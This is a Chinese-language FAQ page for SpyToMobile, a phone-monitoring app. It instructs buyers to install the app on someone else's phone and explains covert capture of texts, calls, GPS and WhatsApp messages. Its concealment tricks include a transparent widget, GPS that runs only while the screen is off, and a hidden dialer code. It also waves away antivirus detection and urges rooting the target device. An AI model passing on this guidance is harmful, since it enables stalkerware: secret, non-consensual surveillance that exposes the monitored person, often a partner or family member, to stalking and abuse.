常见问题

怎样在手机上开启监视？
在你要监视的手机上安装SpyToMobile不要在你自己的手机上安装。你只能监视SpyToMobile正在运行的手机。
我没有在我的账户中看到任何新获取的数据。什么出错了？
  1. 确认装有SpyToMobile的手机有联网，至少是定期地联网，以便上传获取的信息。通过网络把获取的数据上传至你的账户。网络是手机上传数据到账户中的必要条件。
  2. 检查此app是否正在你要监视的手机上运行。
我无法访问我的账户。我该怎么做？
点击 忘记密码？ SpyToMobile.com 还原你的密码。你的电子邮箱会收到恢复密码的说明。如果这不起作用，请联系技术支持（只支持英语）: [email protected]
怎样通过添加电话号码监视手机？
没有添加电话号码这一选项。在你想监视的手机上安装SpyToMobile。此app会获取手机上的全部信息，发送至你在SpyToMobile.com上的账户。没有其他方式。
我没有收到手机上的任何新信息。怎么做才能更新信息？
确认手机定期联网，以上传获取的信息。并检查数据备份组件正在手机上运行。检查组件：打开设置->应用->运行中的服务。如果没有数据备份，你需要从SpyToMobile.com/d下载安装，然后启动app。请在*上观看视频，了解如何启动app。
移除电池能重置程序吗？
不能。如果app正确安装在手机上，且正在运行，手机开机后它会自动开启。
此app会上传手机上的全部信息？
是。自app安装后，手机上的所有信息都会上传到你的账户。
要获取收集的信息，手机网络连接频率需多少？
app在手机上运行时，一直在获取收发的信息。每当手机连接上网络，最新获取的信息就会上传至你的账户。手机应定期连接网络，以把最新获取的信息上传至你的账户。只有该手机的用户可以开启网络连接。
手机的gps开启了，但是我仍看不到正确的地图。我在加州，而地图显示德国。
可能GPS的信号差，或者你所在的建筑里的GPS信号弱。当手机能收到强信号时，它会存储所在位置并上传至你的账户。注意：GPS只在屏幕关闭时工作,以保持app的隐蔽性。
如果短信已删除或通话记录已清除，还会显示在我收到的报告中吗？
如果在app安装后出现这种情况，那么所有的电话和短信都会被截取，包括删除的短信或电话。如果短信或电话在app安装之前删除，你将无法获取这些信息，这已是不可能的。
我想要一个Google Play的完全隐形版。我可以在哪找到？
直接从SpyToMobile.com/d下载并安装。这之后你需要启动app： 首先把“数据备份”组件放到屏幕上，该组件是完全透明的。如果你的手机系统是Android 2.x.,你可以按“51”，再按“呼叫”按钮。
如何在我的账户中添加另一部手机，或把几部手机都连接到我的账户？
在你想要添加的手机上安装app，输入同一个电子邮箱，即你的账户。手机就会连接到你的账户。一个账户最多可以添加1000部手机。你可以直接从SpyToMobile.com/d下载app。
我忘了密码。我该怎么做？
点击此处重设你的密码。
我没有收到内含密码的电子邮件。我该怎么做？
首先检查你的垃圾邮件，如果还是没有邮件，在此重设你的密码，你会获取一个新密码。
一些杀毒软件把此app检测为病毒。什么意思？
此app运用高端技术构建，它很隐蔽，默默运作。因为这些技术，一些杀毒软件可能会把它报告为病毒。它没有病毒，智能方案让它可以完全隐蔽。
只有在手机联网时，才收集信息？
只要App在手机上运行，它就一直在收集信息，无论是否联网。网络可用时，app会把所有获取的数据上传至你的账户。.
如果app从手机上删除了，我该怎么做？
你需要重新在手机上安装app。只有手机上安装了app，它才能收集信息并上传到你的账户。
我的信用卡账单上会显示什么？我不想在使用你们的服务时，信用卡被盗用。
你的信用卡账单上会显示G2S-PhoneSupport。
WhatsApp的信息不更新。
尊敬的客戶：
WhatsApp的消息截取僅適用於使用手機開通超級用戶權限。如果你想看到一個目標手機的WhatsApp信息，請打開手機中的超級用戶權限，並從http://spytomobile.com/d安裝我們的應用程序的最新版本
如何打開超級用戶權限？
不幸的是沒有通用的解決方案，對所有類型的設備，其中大部分需要稍微不同的方法和工具，打開超級用戶權限。但你幾乎肯定會與安裝在手機的驅動程序需要您的USB連接線，一台Windows PC，你的手機充滿電。 請按照這些鏈接之一，閱讀手冊，並盡在文章中描述的必要的操作到您的手機上打開超級用戶權限：

如何获得超级用户权限 (用户指南 1)
如何获得超级用户权限 (用户指南 2)
如何获得超级用户权限 (用户指南 3)
如何获得超级用户权限 Galaxy S5, Galaxy S4, Galaxy Note 3 和 Nexus 5
如何獲得超級用戶權限?
請點擊此鏈接 如何獲得超級用戶權限